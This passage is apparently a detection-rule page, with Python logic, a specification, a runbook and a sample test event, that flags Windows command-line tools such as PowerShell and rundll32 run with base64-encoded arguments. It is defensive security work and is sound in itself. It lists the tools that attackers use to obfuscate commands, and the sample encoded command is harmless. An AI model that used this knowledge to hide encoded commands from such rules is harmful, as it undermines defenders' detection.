# Skip empty tokens introduced by quote/equals stripping (e.g. -enc "b64==")
j = i + 1
while j < len(tokens) and tokens[j] == "":
j += 1
if j < len(tokens):
decoded = is_base64(tokens[j], min_length=12)
if decoded:
return decoded
return ""
def _find_base64_token(tokens: list) -> str:
"""Return the first decoded base64 token found, or ''."""
for arg in tokens:
decoded = is_base64(arg, min_length=12)
if decoded:
return decoded
return ""
def rule(event):
# pylint: disable=global-statement
global DECODED
# If there is no process name available (or the CrowdStrike data model is missing) don't alert
process_name = event.udm("process_name")
if not process_name:
return False
# Filter by CS event type, Windows platform, and process name
if not all(
[
event.get("fdr_event_type") == "ProcessRollup2",
event.get("event_platform") == "Win",
process_name.lower() in COMMAND_LINE_TOOLS,
]
):
return False
tokens = _tokenize_command_line(event.udm("cmd", default=""))
# For PowerShell, base64 only appears as the argument immediately following an
# encoding flag. Only evaluate that specific token rather than every token,
# which would cause FPs on -Command invocations with plain English arguments.
if process_name.lower() == "powershell.exe":
DECODED = _find_powershell_encoded_arg(tokens)
else:
# For other tools (cmd.exe, rundll32.exe, etc.) base64 can appear anywhere
DECODED = _find_base64_token(tokens)
return bool(DECODED)
def title(event):
process_name = event.udm("process_name") if event.udm("process_name") else "Unknown"
process_name = process_name.lower()
parent_process_name = get_crowdstrike_field(event, "ParentBaseFileName", default="Unknown")
parent_process_name = parent_process_name.lower()
return (
"Crowdstrike: Execution with base64 encoded args: "
+ f"[{parent_process_name}] -> [{process_name}]"
)
def alert_context(event):
context = crowdstrike_process_alert_context(event)
context["decoded arg"] = DECODED
return context
Rule specification
AnalysisType: rule
Filename: crowdstrike_base64_encoded_args.py
RuleID: Crowdstrike.Base64EncodedArgs
DisplayName: Execution of Command Line Tool with Base64 Encoded Arguments
Enabled: true
LogTypes:
- Crowdstrike.FDREvent
Tags:
- Execution
- Obfuscation
Severity: Medium
Description: Detects the execution of common command line tools (e.g., PowerShell, cmd.exe) with Base64 encoded arguments, which could indicate an attempt to obfuscate malicious commands.
Runbook: Investigate the endpoint for signs of command line tool execution with Base64 encoded arguments. Review the executed command, decode the Base64 string, and analyze the original content.
Reference: https://www.crowdstrike.com/blog/blocking-fileless-script-based-attacks-using-falcon-script-control-feature/
DedupPeriodMinutes: 60
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
process_nameis presentfdr_event_typeisProcessRollup2event_platformisWinprocess_nameis one ofpowershell.exe,cmd.exe,cscript.exe,wscript.exe,rundll32.exe
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event_platform | eq |
| field:"event_platform" kind:eq value:"Win" |
fdr_event_type | eq |
| field:"fdr_event_type" kind:eq value:"ProcessRollup2" |
process_name | in |
| field:"process_name" kind:in |
process_name | is_not_null | field:"process_name" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
CommandLine | |
TargetProcessId | |
RawProcessId | |
ParentBaseFileName | |
ParentProcessId | |
ImageFileName | |
SHA256Hash | SHA256HashData |
platform | event_platform |
Response runbook
Investigate the endpoint for signs of command line tool execution with Base64 encoded arguments. Review the executed command, decode the Base64 string, and analyze the original content.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3645117824",
"Entitlements": "15",
"TreeId": "4295752857",
"aid": "877761efa8db44d792ddc2redacted",
"aip": "1.1.1.1",
"cid": "cfe698690964434083fecdredacted",
"event": {
"AuthenticationId": "293628",
"AuthenticodeHashData": "98a4762f52a",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -EncodedCommand \"aGVsbG93b3JsZA==\" -SomeExtraCommand \"HelloWorld\"",
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3645117824",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageSubsystem": "3",
"IntegrityLevel": "12288",
"MD5HashData": "c031e215b8b08c752bf362f6d4c5d3ad",
"ParentAuthenticationId": "293628",
"ParentBaseFileName": "pwsh.exe",
"ParentProcessId": "4370948876",
"ProcessCreateFlags": "1024",
"ProcessEndTime": "",
"ProcessParameterFlags": "24577",
"ProcessStartTime": "1682368414.719",
"ProcessSxsFlags": "64",
"RawProcessId": "3120",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "840e1f9dc5a29bebf01626822d7390251e9cf05bb3560ba7b68bdb8a41cf08e3",
"SessionId": "2",
"SignInfoFlags": "8683538",
"SourceProcessId": "4370948876",
"SourceThreadId": "112532918543",
"Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 211106232533012, 263882790666253",
"TargetProcessId": "10413665481",
"TokenType": "1",
"TreeId": "4295752857",
"UserSid": "S-1-5-21-239183934-720705223-383019856-500",
"aid": "877761efa8db44d792ddc2redacted",
"aip": "1.1.1.1",
"cid": "cfe698690964434083fecdredacted",
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"id": "b0c07877-f288-49f8-8cb3-150149a557b2",
"name": "ProcessRollup2V19",
"timestamp": "1682368416719"
},
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "b0c07877-f288-49f8-8cb3-150149a557b2",
"name": "ProcessRollup2V19",
"p_log_type": "Crowdstrike.FDREvent",
"timestamp": "2023-04-24 20:33:36.719"
}